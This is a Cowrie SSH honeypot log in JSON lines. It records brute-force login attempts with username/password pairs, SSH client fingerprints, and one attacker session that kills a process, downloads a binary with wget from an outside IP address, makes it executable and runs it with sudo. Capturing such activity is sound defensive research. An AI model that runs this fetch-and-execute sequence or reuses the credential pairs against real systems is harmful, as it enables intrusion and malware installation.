{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7063dece7cccf374d9fa1ee30ff23300fa42477e064e69be7bb6d01c0cfff682","size":16,"shasum":"7063dece7cccf374d9fa1ee30ff23300fa42477e064e69be7bb6d01c0cfff682","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/7063dece7cccf374d9fa1ee30ff23300fa42477e064e69be7bb6d01c0cfff682 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:51.973218Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:52.241942Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m&&pkill upnpsetup","message":"CMD: uname -m&&pkill upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:52.245453Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123qwe","message":"login attempt [ftpuser/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:52.308213Z","src_ip":"103.25.47.94","session":"178181eadd35","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/751a5bdfa8c56fe998ad0f190aa9e2006f85be557939b98c1552edb5e76d1c23","size":7,"shasum":"751a5bdfa8c56fe998ad0f190aa9e2006f85be557939b98c1552edb5e76d1c23","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/751a5bdfa8c56fe998ad0f190aa9e2006f85be557939b98c1552edb5e76d1c23 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:52.654029Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.58","src_port":47456,"dst_ip":"159.203.135.109","dst_port":22,"session":"da41e175607a","protocol":"ssh","message":"New connection: 123.58.209.58:47456 (159.203.135.109:22) [session: da41e175607a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:53.501435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:53.506470Z","src_ip":"123.58.209.58","session":"da41e175607a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:53.557823Z","src_ip":"103.25.47.94","session":"178181eadd35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:53.730851Z","src_ip":"123.58.209.58","session":"da41e175607a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweewq123","message":"login attempt [root/qweewq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:54.658857Z","src_ip":"123.58.209.58","session":"da41e175607a","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:55.675006Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:55.884947Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo pkill upnpsetup","message":"CMD: sudo pkill upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:55.888744Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:55.906138Z","src_ip":"123.58.209.58","session":"da41e175607a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ecea62e7cebe0c02977e571387dd7eb13517ffbd2dc08932a23dd2856bee78a9","size":0,"shasum":"ecea62e7cebe0c02977e571387dd7eb13517ffbd2dc08932a23dd2856bee78a9","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ecea62e7cebe0c02977e571387dd7eb13517ffbd2dc08932a23dd2856bee78a9 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:56.098217Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:57.161855Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:57.367578Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"rm ./upnpsetup","message":"CMD: rm ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:57.370914Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cef42dd41a9bb1f66362304a8ae29eb76bdbdc7c5c212c6e4afb77cb4f2a74fa","size":59,"shasum":"cef42dd41a9bb1f66362304a8ae29eb76bdbdc7c5c212c6e4afb77cb4f2a74fa","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/cef42dd41a9bb1f66362304a8ae29eb76bdbdc7c5c212c6e4afb77cb4f2a74fa after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:57.820270Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:58.081218Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:58.286286Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"wget -nc http://45.87.174.8/k.php?a=x86_64,NBQ7Q3N2AC309518H -O ./upnpsetup","message":"CMD: wget -nc http://45.87.174.8/k.php?a=x86_64,NBQ7Q3N2AC309518H -O ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:58.290346Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4270acb4423ee7d2e213aa7c6d88f717e8088f05f09af701ec3e272123ea0d2d","size":98,"shasum":"4270acb4423ee7d2e213aa7c6d88f717e8088f05f09af701ec3e272123ea0d2d","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/4270acb4423ee7d2e213aa7c6d88f717e8088f05f09af701ec3e272123ea0d2d after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:58.740508Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:59.001105Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:59.206299Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod 777 ./upnpsetup","message":"CMD: chmod 777 ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:59.210290Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/48c1b693330ad718534aca127720c0ff87848244e7fdcb9ab46712a579ea13ed","size":62,"shasum":"48c1b693330ad718534aca127720c0ff87848244e7fdcb9ab46712a579ea13ed","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/48c1b693330ad718534aca127720c0ff87848244e7fdcb9ab46712a579ea13ed after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:59.661238Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:59.928415Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:00.134724Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo ./upnpsetup","message":"CMD: sudo ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:00.139408Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c97583710ce600cd6a8d995612bf1593ccf0f85ab78ae8b01714ec48350a8d15","size":631,"shasum":"c97583710ce600cd6a8d995612bf1593ccf0f85ab78ae8b01714ec48350a8d15","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c97583710ce600cd6a8d995612bf1593ccf0f85ab78ae8b01714ec48350a8d15 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:00.600735Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.156.21","src_port":40892,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2659d5cd3f9","protocol":"ssh","message":"New connection: 101.47.156.21:40892 (10.17.0.5:22) [session: f2659d5cd3f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:04.478797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:04.484308Z","src_ip":"101.47.156.21","session":"f2659d5cd3f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:04.724990Z","src_ip":"101.47.156.21","session":"f2659d5cd3f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:05.718512Z","src_ip":"101.47.156.21","session":"f2659d5cd3f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:06.963170Z","src_ip":"101.47.156.21","session":"f2659d5cd3f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":46582,"dst_ip":"10.17.0.5","dst_port":22,"session":"10fded71353b","protocol":"ssh","message":"New connection: 88.147.30.59:46582 (10.17.0.5:22) [session: 10fded71353b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:08.751299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:08.756903Z","src_ip":"88.147.30.59","session":"10fded71353b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:08.873846Z","src_ip":"88.147.30.59","session":"10fded71353b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bloom","password":"bloom","message":"login attempt [bloom/bloom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:09.363341Z","src_ip":"88.147.30.59","session":"10fded71353b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:10.481345Z","src_ip":"88.147.30.59","session":"10fded71353b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.191.77.164","src_port":37134,"dst_ip":"10.17.0.5","dst_port":22,"session":"259156c71268","protocol":"ssh","message":"New connection: 182.191.77.164:37134 (10.17.0.5:22) [session: 259156c71268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:28.440532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:28.445743Z","src_ip":"182.191.77.164","session":"259156c71268","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:28.674353Z","src_ip":"182.191.77.164","session":"259156c71268","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":46668,"dst_ip":"10.17.0.5","dst_port":22,"session":"d378366d049d","protocol":"ssh","message":"New connection: 20.160.86.7:46668 (10.17.0.5:22) [session: d378366d049d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:28.828877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:28.833567Z","src_ip":"20.160.86.7","session":"d378366d049d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:28.914895Z","src_ip":"20.160.86.7","session":"d378366d049d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456654","message":"login attempt [root/456654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:29.272366Z","src_ip":"20.160.86.7","session":"d378366d049d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"django","password":"django","message":"login attempt [django/django] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:29.617290Z","src_ip":"182.191.77.164","session":"259156c71268","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:30.356932Z","src_ip":"20.160.86.7","session":"d378366d049d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:30.847734Z","src_ip":"182.191.77.164","session":"259156c71268","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:31.605432Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:31.809362Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"./upnpsetup","message":"CMD: ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:31.812420Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"./upnpsetup ","message":"Command not found: ./upnpsetup ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:31.815562Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3b8ae1b78629fd197b937ff4681554b51e2ec967f2d54c8136edcaec088ecf0c","size":38,"shasum":"3b8ae1b78629fd197b937ff4681554b51e2ec967f2d54c8136edcaec088ecf0c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3b8ae1b78629fd197b937ff4681554b51e2ec967f2d54c8136edcaec088ecf0c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:32.022922Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
